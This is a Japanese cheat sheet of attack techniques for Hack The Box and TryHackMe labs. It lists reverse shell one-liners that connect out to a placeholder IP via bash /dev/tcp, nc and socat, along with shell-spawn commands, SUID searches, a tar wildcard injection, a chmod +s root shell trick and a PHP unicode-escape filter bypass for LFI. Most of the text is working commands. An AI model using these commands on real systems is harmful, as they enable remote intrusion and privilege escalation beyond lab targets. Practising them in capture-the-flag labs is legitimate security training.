Hack The Box, Try Hack Meで使用する技術メモ

対象ホスト上で動いているサービスのポート、サービス名、バージョンを探索する
$ sudo nmap -sV {IP_ADDRESS}
※管理者権限がない場合はデフォルトでTCP Connect()スキャンになるので相手側のログに残る事に注意

対象WEBアプリケーションのパスを列挙する
使用したワードリストのワードにマッチするURLの列挙
$ gobuster dir -u {URL} -w {WORDLIST_PATH}
※Kali Linuxの場合、ワードリストは /usr/share/wordlists/にある

対象WEBアプリケーションのvhostを探索する
$ gobuster vhost -u {URL} -w {WORDLIST_PATH}

Linux → LinuxへのReverse Shell
$ bash -c 'exec 5<>/dev/tcp/{ip}/{port}; sh <&5 >&5'
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc {IP} {PORT} >/tmp/f
ttyの場合
stty raw -echo && socat file:$(tty),raw,unlink-close=0 tcp-listen:5555
script -c 'bash -i' /dev/null 9<>/dev/tcp/localhost/5555 <&9 >&9 2>&9
Reference

Interactive Shellの獲得
spawn shell list
script -qc /bin/bash /dev/null
python -c "import pty; pty.spawn('/bin/bash')"
echo os.system('/bin/bash')
/bin/sh -i
perl -e 'exec "/bin/sh";'
perl -> exec "/bin/sh";
ruby -> exec "/bin/sh"
IRB -> exec "/bin/sh"
lua -> os.execute('/bin/sh')
vi -> !bash
vi -> set shell=/bin/bash:shell
nmap -> tmp=`mktemp`;echo "/bin/bash" > $tmp; nmap --script=$tmp
# プロセスを生成して制御端末を現在のプロセスの標準入出力に接続
$ python -c "import pty; pty.spawn('/bin/bash')"
$ export TERM=xterm
# Ctrl+ZでSIGSTPシグナルを送信し、ncでリッスンしているプロセスを停止する
$ ^Z
zsh: suspended nc -lvnp ****
$ stty raw -echo;fg
# Shellがぶっ壊れてたら下記を実行する
$ stty sane
Reference

SUIDが設定されているファイルの探索
$ find / -perm -u=s -type f 2>/dev/null | xargs ls -l

ncでファイル送信
# 受信側
$ nc -lnvp {port} > {filename}
# 送信側
$ nc {ip} {port} < {filename}

pythonでshell生成
python -c "import os; os.system('/bin/sh -p')"
※ownerがrootでSUIDが設定されているPythonならroot shellが取得可能

tarを使用したwildcard injection
root権限で動いてるshell script中に
$ tar cvf /path/to/archive *
のような処理がある場合、tarが実行されるフォルダに『--checkpoint=1』と『--checkpoint-action=exec=/bin/sh』というファイルを作成してからshell scriptを実行することで、wildcardが展開され、最終的に下記のようなコマンドがshellに渡され、shell scriptを実行する権限で任意のコマンドを実行できる。
$ tar cvf /path/to/archive --checkpoint=1 --checkpoint-action=exec=/bin/sh
※--checkpointはデフォルトが10のため、アーカイブ対象ファイル数が10未満の場合、--checkpoint-actionが発火しない。そのため1を設定している。
wildcard injectionが可能なコマンドは他にもある。
コマンド | オプション | 実行出来る攻撃 |
---|---|---|
chown | --reference=FILE | ファイル、フォルダの所有者を任意のユーザーに変更 |
chmod | --reference=FILE | 任意のパーミッション設定 |
rsync | --rsh=COMMAND --rsync-path=PROGRAM | 任意コマンド実行 |

rootでSUID設定
root権限でコマンド実行できるならreverse shellよりこっちのがいい?
$ chmod +s /bin/bash
$ /bin/bash -p

JSONをデコードする前にfilterをかけている場合、JSONにユニコードエスケープした文字列を挿入する事でBypassできる。
例えば以下のようなフィルターを実装している場合、
$query = file_get_contents("php://input");
$filter_list = [
"php",
"fil",
"dat",
"zip",
"pha",
"exp",
"/",
".",
];
// ここで文字列フィルター
foreach ($filter_list as $filter) {
if(stripos($query, $filter) !== false) {
exit("Filtered!");
}
}
// ここでJSONをデコード
json_decode($query, true)
// 以下で何らかの処理
本来であればJSONデコード→文字列filterという順序で実装しなければいけないが、
上記だと文字列filter→JSONデコードをしているので文字列をユニコードに変換してあげればfilterをBypassできる。
例えばLFIでphpファイルを扱いたい場合、上記の『php』文字列のフィルターは下記でBypassできる。
// 『.』と『p』をユニコードエスケープ
"index\u002Eph\u0070"

php://filter/convert.base64-encode/resource=index